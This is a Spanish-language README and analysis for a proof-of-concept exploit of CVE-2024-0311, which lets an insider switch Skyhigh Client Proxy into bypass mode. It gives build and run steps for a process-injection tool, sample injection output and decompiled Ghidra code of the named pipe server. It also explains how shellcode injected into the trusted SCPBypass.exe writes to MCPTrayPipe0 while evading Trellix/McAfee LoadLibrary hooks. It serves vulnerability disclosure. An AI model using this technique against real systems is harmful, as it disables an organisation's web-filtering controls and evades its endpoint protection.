
Exploit de prueba de concepto para CVE-2024-0311 que evita la política de Skyhigh Client Proxy mediante inyección de procesos y manipulación de named pipes, con shellcode personalizado para evadir restricciones de AV/EDR.
Esta es una PoC de lo que creo que es CVE-2024-0311, SB10418.
Un usuario interno malintencionado puede eludir la política existente de Skyhigh Client Proxy sin un código de liberación válido.
Muchos detalles. Muy exploit. ¯\(ツ)/¯
La PoC inyecta en un proceso SCPBypass.exe ejecutado por el usuario y escribe en la tubería de SCPService.exe: \\.\pipe\MCPTrayPipe0.
La inyección es necesaria ya que, incluso si la tubería tiene permisos RW Everyone, WGUARDNT realiza algunas comprobaciones en el ejecutable que escribe en la tubería (se verifica la ruta del escritor), consulte abajo.
Se proporciona un shellcode de ejemplo que permite la ejecución de WriteFile en la tubería incluso si Trellix/McAfee están ejecutándose y enganchando/bloqueando LoadLibrary.
Compilar en modo Debug o Release desde Visual Studio
Genere el shellcode mediante:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
luego reemplace el shellcode en shellcode.c.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: No llamar a SetNamedPipeHandleState. El shellcode valida el puntero a SetNamedPipeHandleState antes de llamarlo.
* debugon: establece un breakpoint en el shellcode (0xcc en offset 0) y genera un hilo para enlazar la tubería nombrada. No usar en producción.
Ejemplo de salida:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
Si todo salió bien, en los archivos de registro de SCP debería encontrar una entrada similar a esta:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
Este será un análisis breve, porque nadie tiene tiempo para palabras.
En primer lugar, ¿qué es el cliente proxy de Skyhigh?
El software Skyhigh Security Client Proxy ayuda a proteger a los usuarios de sus endpoints de las amenazas de seguridad que surgen cuando acceden a la web desde dentro o fuera de su red. El software cliente, que se instala en endpoints que ejecutan Microsoft Windows o macOS, redirige las solicitudes web o permite que continúen hacia un proxy para su filtrado. El software servidor se ejecuta en una de las plataformas de gestión: Trellix ePO SaaS o Trellix ePO Cloud.
Eso debería aclararlo.
Dada la información del aviso, no hay mucho por dónde empezar.
Sinceramente, estaba revisando el servicio binario para detectar problemas fáciles de explotar para escalar privilegios (LPE) cuando vi CreateNamedPipe y me interesé.
Aquí hay una copia rápida del código descompilado de Ghidra:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
Como podemos ver, una vez que se llama a la función, se inicializa una nueva estructura DACL y se crea una nueva tubería \\.\pipe\MCPTrayPipe0 en modo byte.
Luego, mientras el identificador de dicha tubería sea válido, el programa lee de ella e intenta convertir los bytes enviados de ASCII a entero con atoi(out_lpBuffer).
Ignorando el hecho de que hay mejores alternativas a atoi, asumiendo que la llamada a atoi no ha fallado, el valor convertido se pasa a FUN_14022d5b0:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];
local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
);
if (BVar1 == 0) {
DVar2 = GetLastError();
uVar3 = FUN_140040210();
LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
,DVar2);
if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
{
DVar2 = GetLastError();
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
}
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
que llama a SetWaitableTimer. Las cadenas aquí ayudaron un poco a identificar el flujo deseado.
El punto principal aquí es que el proceso ScpService.exe no realiza comprobaciones sobre quién escribe qué en la tubería, los datos se confían ciegamente y se pasan.
Además, al verificar los permisos de la tubería con accesschk, la tubería resulta RW Everyone.
Por lo tanto, el exploit básicamente debería hacer lo siguiente:
CreateFile(): obtener un identificador de la tuberíaSetNamedPipeHandleState(): establecer el modo byteWriteFile(): escribir datosCloseHandle(): cerrar el identificadorEsto se puede hacer literalmente en unas pocas líneas de PowerShell. Victoria fácil, ¿verdad? No.
¡Si solo las cosas fueran tan simples! Si bien técnicamente todo parecía funcionar así, abrir la tubería siempre terminaba con el cliente de la tubería agotando el tiempo de espera. Al profundizar un poco más, notamos que el servicio estaba configurando alguna ACL en otro lugar.
El descriptor de seguridad predeterminado utilizado por ScpService se inicializa de la siguiente manera:
SECURITY_DESCRIPTOR sd = {};
InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);
Esto representa un DACL, que no concede acceso a nadie
Si la lista de control de acceso discrecional (DACL) que pertenece al descriptor de seguridad de un objeto se establece en NULL, se crea un DACL nulo. Un DACL nulo concede acceso completo a cualquier usuario que lo solicite; no se realiza una verificación de seguridad normal con respecto al objeto. Un DACL nulo no debe confundirse con un DACL vacío. Un DACL vacío es un DACL correctamente asignado e inicializado que no contiene entradas de control de acceso (ACE). Un DACL vacío no concede acceso al objeto al que está asignado.
Lo más probable es que el ACE/DACL se delegue a \\.\WGUARDNT, que parece ser una capa de protección (¿McAfee?) responsable de otorgar acceso a una lista limitada de objetos:
.data:000000014069A510 off_14069A510 dq offset aScpserviceExe_3
.data:000000014069A510 ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510 ; sub_14009A310+674↑o ...
.data:000000014069A510 ; "scpservice*.exe"
.data:000000014069A518 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520 dq offset aRegsvcExe ; "regsvc.exe"
.data:000000014069A528 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530 dq offset aNaprdmgrExe ; "naprdmgr.exe"
.data:000000014069A538 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550 dq offset aScpaboutExe ; "SCPAbout.exe"
.data:000000014069A558 dq offset aMfehidinExe ; "mfehidin.exe"
.data:000000014069A560 dq offset aMsiexecExe ; "msiexec.exe"
.data:000000014069A568 dq offset aMcshieldExe ; "mcshield.exe"
.data:000000014069A570 dq offset aMmcExe ; "mmc.exe"
.data:000000014069A578 dq offset aSystem_4 ; "system"
.data:000000014069A580 dq offset aServicesExe ; "services.exe"
.data:000000014069A588 dq offset aWinlogonExe ; "winlogon.exe"
.data:000000014069A590 dq offset aSvchostExe ; "svchost.exe"
Bueno, si el ejecutable que se conecta se verifica contra una lista de ejecutables/rutas conocidas y dado que SCPBypass.exe, ejecutado con los privilegios de nuestro usuario, parece estar en una lista de aplicaciones confiables, ¿no podríamos simplemente inyectar un DLL en SCPBypass.exe?
¡Absolutamente! Lástima que Trellix/McAfee te bloqueará la llamada a LoadLibrary.
De ahí el InjmeDLL no utilizado en el proyecto.
Optamos por una solución rápida y sucia al final, improvisada por @wolfcod: simplemente inyectar un shellcode que haga lo que sea necesario, ya que el proceso ya tiene todo cargado de todos modos. En lugar de llamar a la llamada al sistema directamente o probar otras artimañas, esta solución simple funcionó perfectamente para nuestro caso de uso.
Esto finalmente resultó en la elusión de las restricciones impuestas por la solución AV/EDR y un exploit funcional.
👋 Saludos.